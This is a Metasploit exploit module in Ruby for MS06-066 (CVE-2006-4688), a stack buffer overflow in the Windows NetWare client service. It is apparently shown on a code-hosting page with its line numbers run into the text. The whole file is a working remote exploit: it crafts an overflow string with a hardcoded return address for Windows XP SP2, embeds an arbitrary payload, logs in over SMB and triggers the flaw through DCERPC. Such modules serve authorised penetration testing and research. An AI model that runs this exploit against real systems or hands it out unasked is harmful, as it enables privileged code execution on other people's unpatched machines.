Path: blob/master/modules/exploits/windows/smb/ms06_066_nwwks.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MS06-066 Microsoft Services nwwks.dll Module Exploit',16'Description' => %q{17This module exploits a stack buffer overflow in the svchost service, when the netware18client service is running. This specific vulnerability is in the nwapi32.dll module.19},20'Author' => [ 'pusscat' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2006-4688'],24[ 'OSVDB', '30260'],25[ 'BID', '21023'],26[ 'MSB', 'MS06-066'],2728],29'DefaultOptions' => {30'EXITFUNC' => 'thread',31},32'Privileged' => true,33'Payload' => {34'Space' => 1000,35'BadChars' => "",36'Compat' =>37{38# -ws2ord XXX?39},40'StackAdjustment' => -3500,41},42'Platform' => 'win',43'Targets' => [44[45'Windows XP SP2',46{47'Ret' => 0x616566fb, # modemui.dll [esp + 16]: popaw, ret48},49]50],5152'DefaultTarget' => 0,53'DisclosureDate' => '2006-11-14',54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)6162register_options(63[64OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'nwwks']),65]66)67end6869def exploit70# [in] [unique] wchar *71# [in] [unique] wchar *72# [out] long7374ofstring = Rex::Text.to_unicode('\\\\') + rand_text(292) + [ target.ret ].pack('V') + "\x00\x00"75stubdata =76NDR.long(rand(0xffffffff)) +77NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +78NDR.long(rand(0xffffffff)) +79NDR.UnicodeConformantVaryingStringPreBuilt(payload.encoded + "\x00\x00") +80NDR.long(rand(0xffffffff)) +81NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +82NDR.long(rand(0xffffffff)) +83NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +84NDR.UnicodeConformantVaryingStringPreBuilt(ofstring)8586print_status("Connecting to the SMB service...")87connect()88smb_login()8990handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])91print_status("Binding to #{handle} ...")92dcerpc_bind(handle)93print_status("Bound to #{handle} ...")9495print_status("Calling the vulnerable function...")9697begin98dcerpc.call(0x01, stubdata)99rescue Rex::Proto::DCERPC::Exceptions::NoResponse100print_status('Server did not respond, this is expected')101rescue => e102if e.to_s =~ /STATUS_PIPE_DISCONNECTED/103print_status('Server disconnected, this is expected')104else105raise e106end107else108print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")109end110111# Cleanup112handler113disconnect114115if (dcerpc.last_response != nil and116dcerpc.last_response.stub_data != nil and117dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")118return true119else120return false121end122end123end124125126